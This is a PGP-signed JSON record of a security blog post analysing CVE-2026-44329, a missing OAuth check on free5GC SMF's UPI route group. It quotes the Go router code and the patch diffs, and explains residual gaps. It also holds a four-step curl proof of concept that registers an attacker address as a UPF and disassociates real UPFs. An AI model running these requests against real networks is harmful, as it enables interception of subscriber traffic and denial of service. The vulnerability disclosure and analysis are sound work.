-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The loop is the auth list\n\n`newRouter` in `internal/sbi/server.go`, as of v4.2.1, registered route groups in two structurally different places. Five total: two flat at the top, three inside a loop over `factory.SmfConfig.Configuration.ServiceNameList`. Same `gin.Engine`, same listener, same SBI port. Different code paths in.\n\n```go\nfunc newRouter(s *Server) *gin.Engine {\n\trouter := logger_util.NewGinWithLogrus(logger.GinLog)\n\n\trouter.Use(metrics.InboundMetrics())\n\tsmfCallbackGroup := router.Group(factory.SmfCallbackUriPrefix)\n\tsmfCallbackRoutes := s.getCallbackRoutes()\n\tapplyRoutes(smfCallbackGroup, smfCallbackRoutes)\n\n\tupiGroup := router.Group(factory.UpiUriPrefix)\n\tupiRoutes := s.getUPIRoutes()\n\tapplyRoutes(upiGroup, upiRoutes)\n\n\tfor _, serviceName := range factory.SmfConfig.Configuration.ServiceNameList {\n\t\tswitch models.ServiceName(serviceName) {\n\t\tcase models.ServiceName_NSMF_PDUSESSION:\n\t\t\tsmfPDUSessionGroup := router.Group(factory.SmfPdusessionResUriPrefix)\n\t\t\tsmfPDUSessionRoutes := s.getPDUSessionRoutes()\n\t\t\trouterAuthorizationCheck := util_oauth.NewRouterAuthorizationCheck(models.ServiceName_NSMF_PDUSESSION)\n\t\t\tsmfPDUSessionGroup.Use(func(c *gin.Context) {\n\t\t\t\trouterAuthorizationCheck.Check(c, smf_context.GetSelf())\n\t\t\t})\n\t\t\tapplyRoutes(smfPDUSessionGroup, smfPDUSessionRoutes)\n\t\tcase models.ServiceName_NSMF_EVENT_EXPOSURE:\n\t\t\t// same shape: new group, new auth check, .Use, applyRoutes\n\t\tcase models.ServiceName_NSMF_OAM:\n\t\t\t// same shape: new group, new auth check, .Use, applyRoutes\n\t\t}\n\t}\n\n\treturn router\n}\n```\n\n`ServiceNameList` is a list of 3GPP service names the operator enables in `smfcfg.yaml`. The loop walks that list, the switch matches each entry against one of three 3GPP services, and the branch that matches creates a route group, instantiates a `RouterAuthorizationCheck` bound to that service name, and attaches it as middleware. The switch has no default. Anything not in the 3GPP catalog cannot reach the loop, because the loop has no other branch and the switch has no `default:` case.\n\nThe UPI route group is not in the 3GPP catalog. UPI is free5GC's own User Plane Information topology-management surface. It has no 3GPP service name and no entry in `ServiceNameList`. The only place the author of the May 2024 structured-server refactor (commit `5a61332`, \"refactor: implement server structure & add two services (callback and upi)\") could mount it was the flat top of the function. So that is where it went, sandwiched between the SM policy callback group and the loop, with `router.Use(metrics.InboundMetrics())` as the only middleware in scope. UPI got metrics. UPI did not get OAuth.\n\n## What the UPI route group lets you do\n\n`getUPIRoutes()` in `internal/sbi/api_upi.go` returns four routes. The first is a `GET /` health probe. The other three are the CVE:\n\n```go\n{Method: http.MethodGet, Pattern: \"/upNodesLinks\", APIFunc: s.GetUpNodesLinks},\n{Method: http.MethodPost, Pattern: \"/upNodesLinks\", APIFunc: s.PostUpNodesLinks},\n{Method: http.MethodDelete, Pattern: \"/upNodesLinks/:upNodeRef\", APIFunc: s.DeleteUpNodeLink},\n```\n\n`GET /upi/v1/upNodesLinks` dumps `UserPlaneInformation` as JSON: every UPF and access-network node in the SMF's view, every link between them, every S-NSSAI slice, every DNN, every UE IP pool. It is the SMF's belief about the data plane, written out.\n\n`POST /upi/v1/upNodesLinks` takes the same JSON shape and feeds it to `UpNodesFromConfiguration`, which extends `upi.UPNodes` and `upi.UPFs` with whatever entries the body names. Each new UPF passes through `NewUPF(&upNode.NodeID, node.InterfaceUpfInfoList)` and is appended to the pool. The handler then iterates the post-merge `upi.UPFs`, finds any UPF not yet associated, and dispatches:\n\n```go\nfor _, upf := range upi.UPFs {\n if err := upf.UPF.IsAssociated(); err != nil {\n go s.Processor().ToBeAssociatedWithUPF(smf_context.GetSelf().PfcpContext, upf.UPF)\n }\n}\n```\n\n`ToBeAssociatedWithUPF` runs `setupPfcpAssociation`, which sends a PFCP Association Setup Request to the IP the body named. PFCP is the protocol the SMF uses to program user-plane forwarding rules into a UPF: PDRs (which packets to match), FARs (where to send them), QERs (how to rate-limit). An attacker who can post a `node_id` of their choosing has just instructed the SMF to open a control channel to their address and begin programming forwarding state into it. The SMF will treat them as a UPF until they stop heartbeating.\n\n`DELETE /upi/v1/upNodesLinks/:upNodeRef` runs `ReleaseAllResourcesOfUPF` against the named entry and cancels its PFCP association, severing any real UPF whose `upNodeRef` an attacker can guess. The list of `upNodeRef` values is the response body of the `GET`.\n\nEnd-to-end, four curls against a free5GC SMF reachable on the SBI:\n\n```bash\n# 1. Enumerate the data plane\ncurl http://smf:8000/upi/v1/upNodesLinks\n\n# 2. Insert your machine as a UPF\ncurl -X POST http://smf:8000/upi/v1/upNodesLinks \\\n -H 'Content-Type: application/json' \\\n -d '{\"up_nodes\":{\"attacker\":{\"type\":\"UPF\",\"node_id\":\"198.51.100.7\"}}, \"links\":[]}'\n# SMF now initiates PFCP Association Setup to 198.51.100.7\n\n# 3. Disassociate any real UPF whose upNodeRef you saw in step 1\ncurl -X DELETE http://smf:8000/upi/v1/upNodesLinks/upf-edge-tokyo\n\n# 4. Read the data plane back to confirm\ncurl http://smf:8000/upi/v1/upNodesLinks\n```\n\nNo `Authorization` header anywhere. The pre-patch handler does not look for one. The advisory's own PoC log reads `GET /upi/v1/upNodesLinks -> 200 OK`, `POST -> 200 OK`, `DELETE -> 404` for a guess that missed.\n\nThe first hop, attacker becomes a UPF, is the load-bearing one. Once the SMF is initiating PFCP to an attacker-controlled address, the attacker receives PDR/FAR programming for whatever PDU sessions the SMF subsequently routes through them, and gets to forward or drop user-plane packets at their discretion. The second hop, disassociating real UPFs, is denial-of-service against the 5G data plane by name.\n\nThe route group's safety, before the patch, was the internal-only-by-convention contract that free5GC operators would bind the SBI listener to a trusted management network. The framework's docs say so. The SBI listener does not check.\n\n## The patch is what the loop already does, one branch above\n\nCommit `138826c`, March 18, 2026, by DBGR18. Four lines:\n\n```diff\n@@ -74,6 +74,10 @@ func newRouter(s *Server) *gin.Engine {\n \tapplyRoutes(smfCallbackGroup, smfCallbackRoutes)\n \n \tupiGroup := router.Group(factory.UpiUriPrefix)\n+\tupiAuthCheck := util_oauth.NewRouterAuthorizationCheck(models.ServiceName_NSMF_OAM)\n+\tupiGroup.Use(func(c *gin.Context) {\n+\t\tupiAuthCheck.Check(c, smf_context.GetSelf())\n+\t})\n \tupiRoutes := s.getUPIRoutes()\n \tapplyRoutes(upiGroup, upiRoutes)\n```\n\nThe service-name argument is `ServiceName_NSMF_OAM`. UPI has no 3GPP service name of its own, so the patch picks the closest available token audience: the OAM scope, the same one the OAM case branch of the loop uses. The middleware itself is what the three branches inside the loop have been doing since 2024.\n\n## Five days after this patch, the same author fixed the other route group above the loop\n\nThe other group registered at the flat top of `newRouter` is `smfCallbackGroup`. On March 23, 2026, five days after the UPI fix, DBGR18 committed `be755dd`, \"fix: enforce OAuth for SM policy callbacks\":\n\n```diff\n@@ -70,6 +70,16 @@ func newRouter(s *Server) *gin.Engine {\n \trouter.Use(metrics.InboundMetrics())\n \tsmfCallbackGroup := router.Group(factory.SmfCallbackUriPrefix)\n+\tsmPolicyCallbackAuthCheck := util_oauth.NewRouterAuthorizationCheck(models.ServiceName_NPCF_SMPOLICYCONTROL)\n+\tsmfCallbackGroup.Use(func(c *gin.Context) {\n+\t\tif c.Param(\"smContextRef\") != \"\" {\n+\t\t\tsmPolicyCallbackAuthCheck.Check(c, smf_context.GetSelf())\n+\t\t\tif c.IsAborted() {\n+\t\t\t\treturn\n+\t\t\t}\n+\t\t}\n+\t})\n \tsmfCallbackRoutes := s.getCallbackRoutes()\n \tapplyRoutes(smfCallbackGroup, smfCallbackRoutes)\n```\n\nDifferent audience name, `NPCF_SMPOLICYCONTROL` because the caller is the PCF. Narrower scope: the gate only fires when the request matches a path with an `:smContextRef` parameter, which means the third route in `getCallbackRoutes()`, `POST /:notifyUri` for `HTTPChargingNotification`, is still ungated by structure after this patch. The pattern though is the same as the UPI fix: a route group that was registered above the iteration of `ServiceNameList`, that the author had to walk to one at a time and decide whether to gate.\n\nThis is the parallel-implementation-gap shape we have named before: [Astro shipped two `/_image` endpoints](/posts/astro-shipped-two-image-endpoints) and only one read the allowlist; [MLflow's basic auth only gated Flask](/posts/mlflow-basic-auth-only-gated-flask) and the three FastAPI routers were public. The canonical registration path here is the switch-case branch and imports `util_oauth.NewRouterAuthorizationCheck`. The divergent registration path is the flat top of the function and imports nothing. Both produce route groups on the same `gin.Engine`. CVE-2026-44329 names the most dangerous of the divergent groups; commit `be755dd` patches the second, partially. There is still no audit that says \"every `router.Group(...)` in this file has middleware attached.\" There is still a `for _, serviceName := range factory.SmfConfig.Configuration.ServiceNameList` loop whose iteration boundary is, structurally, the boundary of the auth perimeter.\n\n## The patched check returns nil when OAuth2Required is false\n\nThe middleware the patch attaches calls `smfContext.AuthorizationCheck(token, rac.serviceName)`. That method, in `internal/context/context.go`:\n\n```go\nfunc (c *SMFContext) AuthorizationCheck(token string, serviceName models.ServiceName) error {\n\tif !c.OAuth2Required {\n\t\treturn nil\n\t}\n\treturn oauth.VerifyOAuth(token, string(serviceName), c.NrfCertPem)\n}\n```\n\n`OAuth2Required` is set on SMF startup, from one place: the NRF's `CustomInfo[\"oauth2\"]` boolean returned in the registration response. If the NRF doesn't say `oauth2: true`, `OAuth2Required` is false, and the middleware returns nil for any request, with or without an Authorization header. The patch closes the structural absence. It does not close the bug for any deployment whose NRF doesn't enforce OAuth, which on the public free5GC distribution is the default config the project ships for testing, and which on most academic and lab installations is the running configuration.\n\n## The shape the refactor introduced and never reconciled\n\nThe original UPI handler landed February 1, 2023 (commit `603c777`, \"Add REST APIs to user_plane_information (upNodes, links)\"), in a flat `internal/sbi/upi/` package, with no auth anywhere in the SMF codebase. There was nothing to be outside of. The DELETE handler followed five weeks later. For fifteen months no SMF route had OAuth.\n\nMay 8, 2024, commit `5a61332`, \"refactor: implement server structure & add two services (callback and upi),\" introduced the structured router. It also introduced the `ServiceNameList` switch-case pattern and the `RouterAuthorizationCheck` middleware. It applied that middleware to every route group registered inside the new loop. It did not apply it to UPI or to the SM policy callback group, because those route groups had no 3GPP service name to enroll. The refactor created the auth perimeter; the same commit registered the two route groups that would be outside it.\n\nFrom May 2024 to March 2026, the SMF shipped with `POST /upi/v1/upNodesLinks` reachable on the SBI listener with no Authorization check, while the PDU session, event exposure, and OAM groups it sat next to refused requests without a valid OAuth token (in deployments where OAuth was enabled). The advisory was filed by LinZiyuu on May 7, 2026; the CVE was assigned the next day. Twenty-two months from the creation of the perimeter to the close of its most dangerous hole.\n","closing_line":"The 3GPP service catalog was the auth list. The user-plane topology editor is not in the catalog.","hook_md":"free5GC's SMF binds its OAuth middleware inside a `for _, serviceName := range factory.SmfConfig.Configuration.ServiceNameList` loop. Each branch of the switch inside the loop instantiates `util_oauth.NewRouterAuthorizationCheck`, attaches it as middleware on a `router.Group(...)`, and registers the routes for one 3GPP service. The UPI route group is registered seven lines above the loop. The patch for CVE-2026-44329 is four lines that copy what the inside of the loop does, attached to the group that was sitting above it.","post_id":358,"slug":"free5gc-smf-upi-registered-above-the-oauth-loop","title":"CVE-2026-44329: free5GC's UPI Route Group Was Registered Above the OAuth Loop","type":"initial","unreadable_sentence":"The 3GPP service catalog was the auth list. The user-plane topology editor is not in the catalog."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCakK57QAKCRDeZjl4jgkQ Jj0VAQCYIuXtRAgTji0ShT7apx5vRB952pdUIaC7DB3Np0XfygD/bY6SB7xe+Wly Z46DeBHUmZE4kNbR95eWv58ibRhXqQA= =2oJi -----END PGP SIGNATURE-----